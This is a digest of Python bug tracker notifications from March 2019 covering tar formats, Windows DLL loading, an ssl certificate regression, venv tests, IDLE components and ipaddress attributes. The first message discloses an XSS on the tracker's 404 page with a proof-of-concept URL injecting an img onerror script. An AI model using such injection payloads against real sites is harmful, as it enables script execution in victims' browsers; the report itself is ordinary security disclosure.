Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:22:10 2019
From: report at bugs.python.org (Hanno Boeck)
Date: Thu, 21 Mar 2019 14:22:10 +0000
Subject: [issue36391] XSS in bugs.python.org 404 error page
Message-ID: <1553178130.9.0.715646132461.issue36391@roundup.psfhosted.org>


New submission from Hanno Boeck <hanno at hboeck.de>:

There's an XSS on the 404 error page:

https://bugs.python.org/%3Cimg%20src=x%20onerror=alert(1)%3E

(For lack of a webpage / bug tracker category I chose "Documentation" as the closest category I could find)

----------
assignee: docs at python
components: Documentation
messages: 338543
nosy: docs at python, hanno
priority: normal
severity: normal
status: open
title: XSS in bugs.python.org 404 error page
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36391>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:25:15 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 21 Mar 2019 14:25:15 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553178315.8.0.368877045954.issue36085@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

I've found AppVeyor's support forum (https://help.appveyor.com/) to be fairly responsive; it may be worth asking them about the issue there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:38:01 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 21 Mar 2019 14:38:01 +0000
Subject: [issue36391] XSS in bugs.python.org 404 error page
In-Reply-To: <1553178130.9.0.715646132461.issue36391@roundup.psfhosted.org>
Message-ID: <1553179081.4.0.725620836471.issue36391@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Thanks for the report, Hanno. The active bugtracker for this instance seems to be available at https://github.com/python/bugs.python.org/issues (not that anything gets done there, but it won't be here either).

----------
nosy: +SilentGhost -docs at python
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36391>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:45:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 14:45:05 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1553179505.74.0.550269327409.issue36268@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset e680c3db80efc4a1d637dd871af21276db45ae03 by Serhiy Storchaka (CAM Gerlach) in branch 'master':
bpo-36268: Change default tar format to pax from GNU. (GH-12355)
https://github.com/python/cpython/commit/e680c3db80efc4a1d637dd871af21276db45ae03


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:46:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 14:46:40 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1553179600.43.0.30526780804.issue36268@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thank you for your contribution!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:09:27 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Thu, 21 Mar 2019 15:09:27 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553180967.57.0.702657275678.issue36338@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
keywords: +patch
pull_requests: +12435
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:10:56 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Thu, 21 Mar 2019 15:10:56 +0000
Subject: [issue36368] server process of shared_memory shuts down if
 KeyboardInterrupt
In-Reply-To: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>
Message-ID: <1553181056.52.0.344255301695.issue36368@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12436
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:11:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 21 Mar 2019 15:11:58 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553181118.45.0.848117140778.issue36338@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests:  -12435

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:12:09 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Thu, 21 Mar 2019 15:12:09 +0000
Subject: [issue36368] server process of shared_memory shuts down if
 KeyboardInterrupt
In-Reply-To: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>
Message-ID: <1553181129.86.0.619417060193.issue36368@roundup.psfhosted.org>


Pierre Glaser <pierreglaser at msn.com> added the comment:

Done.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:38:50 2019
From: report at bugs.python.org (Hugh Redelmeier)
Date: Thu, 21 Mar 2019 15:38:50 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553182730.77.0.965248097959.issue35866@roundup.psfhosted.org>


Hugh Redelmeier <hugh at mimosa.com> added the comment:

I've filed a Fedora bug report that points to this one: <https://bugzilla.redhat.com/show_bug.cgi?id=1691434>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:47:41 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 15:47:41 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1553183261.9.0.455265303742.issue36312@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:55:22 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 15:55:22 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1553183722.78.0.949412804549.issue36315@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

It looks like something on your system "cleaned up" the installer while it was still running. Sometimes this can be AV or system policies, but there's nothing we can fix in the installer for it.

Here are some things you can try (one at a time):

* disable any antivirus scanners while you install
* right-click the installer and select "Run as Administrator" before you start
* deselect the "Install launcher for All Users" option (which should avoid needing to elevate)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:58:02 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 15:58:02 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1553183882.97.0.319312792308.issue36343@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Yeah, this is a dup of issue35941. I'm not sure why the contributor withdrew their PR, but it seems that is what happened.

----------
components: +Windows
nosy: +paul.moore, tim.golden, zach.ware
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> ssl.enum_certificates() regression

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Thu Mar 21 11:58:20 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 15:58:20 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553183900.14.0.888325505853.issue35941@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
assignee: steve.dower -> 
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:03:09 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 16:03:09 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553184189.26.0.993830461742.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 7ee88bf3e59493137a775368165c5c5fe1ed7f46 by Steve Dower (Jess) in branch 'master':
bpo-36245: Avoid problems when building in a directory containing spaces. (GH-12241)
https://github.com/python/cpython/commit/7ee88bf3e59493137a775368165c5c5fe1ed7f46


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:03:21 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 16:03:21 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553184201.57.0.985733600767.issue36245@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12437

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:05:22 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 16:05:22 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553184322.27.0.0921306176869.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Fixed for 3.7 and master.

If it needs to go into 2.7 then someone will need to backport it manually.

----------
stage: patch review -> backport needed
versions:  -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:25:24 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 16:25:24 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1553185524.07.0.40048373923.issue36245@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b058a97c90c3144cc602b719483572916b3918bb by Miss Islington (bot) in branch '3.7':
bpo-36245: Avoid problems when building in a directory containing spaces. (GH-12241)
https://github.com/python/cpython/commit/b058a97c90c3144cc602b719483572916b3918bb


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:26:43 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Thu, 21 Mar 2019 16:26:43 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553185603.0.0.689939043583.issue35941@roundup.psfhosted.org>


Christian Herdtweck <christian.herdtweck at intra2net.com> added the comment:

Hi, I encountered this problem as well. May I know why you have withdrawn your pull request?

----------
nosy: +christian-intra2net

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:27:48 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Thu, 21 Mar 2019 16:27:48 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1553185668.38.0.867972357614.issue36343@roundup.psfhosted.org>


Christian Herdtweck <christian.herdtweck at intra2net.com> added the comment:

Sorry, right, that is the issue I meant. Continuing there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Thu Mar 21 12:34:17 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 16:34:17 +0000
Subject: [issue35644] venv doesn't work on Windows when no venvlauncher
 executable present
In-Reply-To: <1546461012.71.0.574979571732.issue35644@roundup.psfhosted.org>
Message-ID: <1553186057.01.0.584424837445.issue35644@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Doesn't seem to be anything to fix upstream here.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35644>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:03:59 2019
From: report at bugs.python.org (nr)
Date: Thu, 21 Mar 2019 17:03:59 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553187839.17.0.478834316742.issue35941@roundup.psfhosted.org>


nr <aktiophi at googlemail.com> added the comment:

To be honest, I think the patch is worth to be merged including other patches I submitted. Yet I believed it was better to close the pull request because I put quite some time into researching and programming the solutions but nobody really cared so I stopped. All I received from my work was a "Awaiting merge" screen on my laptop. It was really discouraging to see how things work here in the python development community so I decided to leave instead of waiting a month or more and at the end looking at the "Awaiting to merge" screen or being rejected again. Thanks Christian for asking why I closed the PR at last. Just look at the date when the patch was submitted until it was put into awaiting patch mode again then you see what I mean. If anybody still wants me to submit patches please say so instead of completely ignoring me and my work.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:04:32 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 17:04:32 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1553187872.06.0.996281831529.issue35978@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12438

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:04:44 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 17:04:44 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1553187884.19.0.521560516642.issue35978@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 8bba81fd55873148c65b7d0e6a6effbd63048c76 by Steve Dower in branch 'master':
bpo-35978: Correctly skips venv tests in venvs (GH-12220)
https://github.com/python/cpython/commit/8bba81fd55873148c65b7d0e6a6effbd63048c76


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:33:57 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 21 Mar 2019 17:33:57 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1553189637.13.0.811464983504.issue35978@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b0967fe4ed2e0e15f14ea574f82970a3fd4a5556 by Miss Islington (bot) in branch '3.7':
bpo-35978: Correctly skips venv tests in venvs (GH-12220)
https://github.com/python/cpython/commit/b0967fe4ed2e0e15f14ea574f82970a3fd4a5556


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:37:55 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 17:37:55 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553189875.22.0.631404939699.issue35941@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I don't know about your other PRs, and I don't deny they may have been neglected for some time, but you only allowed 12 hours on this one between receiving a review and closing it. Our team of volunteers have limited time (typically 0-8 hours/week) to work on CPython, and a lot of that gets taken up with blocking issues - we simply cannot drop everything for every issue or contribution that comes in.

If you'd like to restore your branch and reopen the PR, we will get to it eventually (unfortunately, all my CPython time today has been taken up by writing comments like this, so it won't be today).

Or if someone else would like to make their own PR then we'll look at that one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:46:10 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 17:46:10 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1553190370.78.0.722880009447.issue35978@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar 21 13:58:23 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 21 Mar 2019 17:58:23 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553191103.39.0.424728409283.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I added some logging for the AppVeyor build at https://ci.appveyor.com/project/python/cpython/builds/23258953

Looks like the offending DLLs are:
- perf-MSSQL$SQL2017-sqlctr14.0.1000.169.dll
- perf-MSSQL$SQL2016-sqlctr13.1.4474.0.dll

Since the events are pulled out in reverse order, I assume the first one is the problem. I'll see if I can ping the MSSQL team and find out if they know what's going on.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:17:20 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:17:20 +0000
Subject: [issue27380] IDLE: add base Query dialog with ttk widgets
In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za>
Message-ID: <1553192240.62.0.798894990923.issue27380@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27380>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:17:37 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:17:37 +0000
Subject: [issue27437] IDLE tests must be able to set user configuration values.
In-Reply-To: <1467400772.1.0.605855673918.issue27437@psf.upfronthosting.co.za>
Message-ID: <1553192257.72.0.354099600621.issue27437@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27437>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:17:57 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:17:57 +0000
Subject: [issue27365] Allow non-ascii chars in IDLE NEWS.txt (for contributor
 names)
In-Reply-To: <1466564645.25.0.829598827477.issue27365@psf.upfronthosting.co.za>
Message-ID: <1553192277.5.0.837092507999.issue27365@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27365>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:18:46 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:18:46 +0000
Subject: [issue27239] Make idlelib.macosx self-contained.
In-Reply-To: <1465181854.1.0.00138868755932.issue27239@psf.upfronthosting.co.za>
Message-ID: <1553192326.17.0.0529172031747.issue27239@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE
nosy:  -python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27239>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:19:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:19:30 +0000
Subject: [issue22726] Idle: add help to config dialogs
In-Reply-To: <1414212383.94.0.847086482603.issue22726@psf.upfronthosting.co.za>
Message-ID: <1553192370.07.0.0270570927933.issue22726@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22726>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:19:49 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:19:49 +0000
Subject: [issue24028] Idle: add doc subsection on calltips
In-Reply-To: <1429721880.11.0.245757615571.issue24028@psf.upfronthosting.co.za>
Message-ID: <1553192389.69.0.163821979234.issue24028@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy:  -python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24028>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:19:59 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:19:59 +0000
Subject: [issue24028] Idle: add doc subsection on calltips
In-Reply-To: <1429721880.11.0.245757615571.issue24028@psf.upfronthosting.co.za>
Message-ID: <1553192399.43.0.572920243068.issue24028@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24028>
_______________________________________

From report at bugs.python.org  Thu Mar 21 14:20:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 21 Mar 2019 18:20:35 +0000
Subject: [issue24222] Idle 2.7 -c, -r compile with print as function.
In-Reply-To: <1431911987.88.0.560675260792.issue24222@psf.upfronthosting.co.za>
Message-ID: <1553192435.78.0.358708674776.issue24222@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24222>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:02:33 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Thu, 21 Mar 2019 19:02:33 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1553194953.73.0.213210436777.issue35978@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:18:21 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 19:18:21 +0000
Subject: [issue30903] IPv4Network's hostmask attribute doesn't returns string
 value as mentioned in Documentation.
In-Reply-To: <1499776782.68.0.13911603646.issue30903@psf.upfronthosting.co.za>
Message-ID: <1553195901.34.0.491382685663.issue30903@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Thank you for the report.  This was fixed as part of PR6021.  There was no bpo ticket for that pull request.

----------
nosy: +cheryl.sabella
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30903>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:18:33 2019
From: report at bugs.python.org (Nikolaos Rangos)
Date: Thu, 21 Mar 2019 19:18:33 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553195913.64.0.872793527241.issue35941@roundup.psfhosted.org>


Change by Nikolaos Rangos <aktiophi at googlemail.com>:


----------
pull_requests: +12439
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:24:29 2019
From: report at bugs.python.org (Nikolaos Rangos)
Date: Thu, 21 Mar 2019 19:24:29 +0000
Subject: [issue35941] ssl.enum_certificates() regression
In-Reply-To: <1549637009.73.0.764067041861.issue35941@roundup.psfhosted.org>
Message-ID: <1553196269.36.0.595033643167.issue35941@roundup.psfhosted.org>


Nikolaos Rangos <aktiophi at googlemail.com> added the comment:

Hello Steve, I reopened the PR from my code base. I will wait for this PR to be processed and afterwards continue with submitting patches.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35941>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:39:00 2019
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 21 Mar 2019 19:39:00 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1553197140.15.0.627292935302.issue36346@roundup.psfhosted.org>


Antoine Pitrou <pitrou at free.fr> added the comment:

> The proposed PR adds two compile time options: HAVE_UNICODE_WCHAR_CACHE and USE_UNICODE_WCHAR_CACHE

I don't think this is a good approach.  Most projects and developers don't recompile Python.  It's especially a chore when you have many dependencies with C extensions, because you'll have to recompile them all as well.

I would recommend simply removing that cache.

----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:45:12 2019
From: report at bugs.python.org (Eddgar Rojas)
Date: Thu, 21 Mar 2019 19:45:12 +0000
Subject: [issue36392] IPv4Interface Object has no attributte prefixlen
Message-ID: <1553197512.13.0.766410741462.issue36392@roundup.psfhosted.org>


New submission from Eddgar Rojas <guabeff at gmail.com>:

The python the Class IPv4Interface  on the ipaddress module when I try to use the .prefixlen attribute it says that do not exist but is i have access by using ._prefixlen 

if i have on the IPv4Interface class the .netmask attribute and the .nethost attribute Why not the .prefixlen attribute?, 

I reported like a bug as i think that attribute should appear on the IPv4Interface Class

Below test I did 

>>> import ipaddress as ip
>>> addr = ip.ip_interface('192.168.1.1/24')
>>> addr.prefixlen
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'IPv4Interface' object has no attribute 'prefixlen'
>>> addr.netmask
IPv4Address('255.255.255.0')

>>> addr._prefixlen
24

----------
components: Library (Lib)
messages: 338566
nosy: Eddgar Rojas
priority: normal
severity: normal
status: open
title: IPv4Interface Object has no attributte prefixlen
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36392>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:45:54 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 19:45:54 +0000
Subject: [issue35528] [DOC] [LaTeX] Sphinx 2.0 uses GNU FreeFont as default
 for xelatex
In-Reply-To: <1545172472.78.0.788709270274.issue35528@psf.upfronthosting.co.za>
Message-ID: <1553197554.06.0.84740080875.issue35528@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35528>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:48:37 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 19:48:37 +0000
Subject: [issue32142] heapq.heappop - documentation misleading or doesn't work
In-Reply-To: <1511712348.11.0.213398074469.issue32142@psf.upfronthosting.co.za>
Message-ID: <1553197717.45.0.127192549466.issue32142@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32142>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:53:14 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 21 Mar 2019 19:53:14 +0000
Subject: [issue36392] IPv4Interface Object has no attributte prefixlen
In-Reply-To: <1553197512.13.0.766410741462.issue36392@roundup.psfhosted.org>
Message-ID: <1553197994.8.0.680556855686.issue36392@roundup.psfhosted.org>


